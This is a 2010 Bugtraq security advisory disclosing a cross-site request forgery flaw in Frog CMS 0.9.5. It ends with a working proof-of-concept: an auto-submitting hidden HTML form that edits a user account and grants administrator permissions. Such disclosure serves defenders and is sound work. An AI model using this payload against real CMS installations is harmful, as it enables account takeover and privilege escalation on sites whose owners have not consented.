bugtraq - XSRF (CSRF) in Frog CMS

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Message-Id: <201011250950.oAP9o1tX098000@htbridge.ch>
Date: Thu, 25 Nov 2010 10:50:01 +0100 (CET)
From: advisory@...ridge.ch
To: bugtraq@...urityfocus.com
Subject: XSRF (CSRF) in Frog CMS

Vulnerability ID: HTB22685
Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_frog_cms.html
Product: Frog CMS
Vendor: Philippe Archambault ( http://www.madebyfrog.com/ ) 
Vulnerable Version: 0.9.5 and probably prior versions
Vendor Notification: 09 November 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
The vulnerability exists due to failure in the "frog/app/controllers/UserController.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/?/user/edit/USER_ID" method="post" name="main">
<input type="hidden" name="user[name]" value="username">
<input type="hidden" name="user[email]" value="email@...mple.com">
<input type="hidden" name="user[password]" value="">
<input type="hidden" name="user[confirm]" value="">
<input type="hidden" name="user_permission[administrator]" value="1">
<input type="hidden" name="user_permission[developer]" value="2">
<input type="hidden" name="user_permission[editor]" value="3">
<input type="hidden" name="commit" value="Save">
</form>
<script>
document.main.submit();
</script>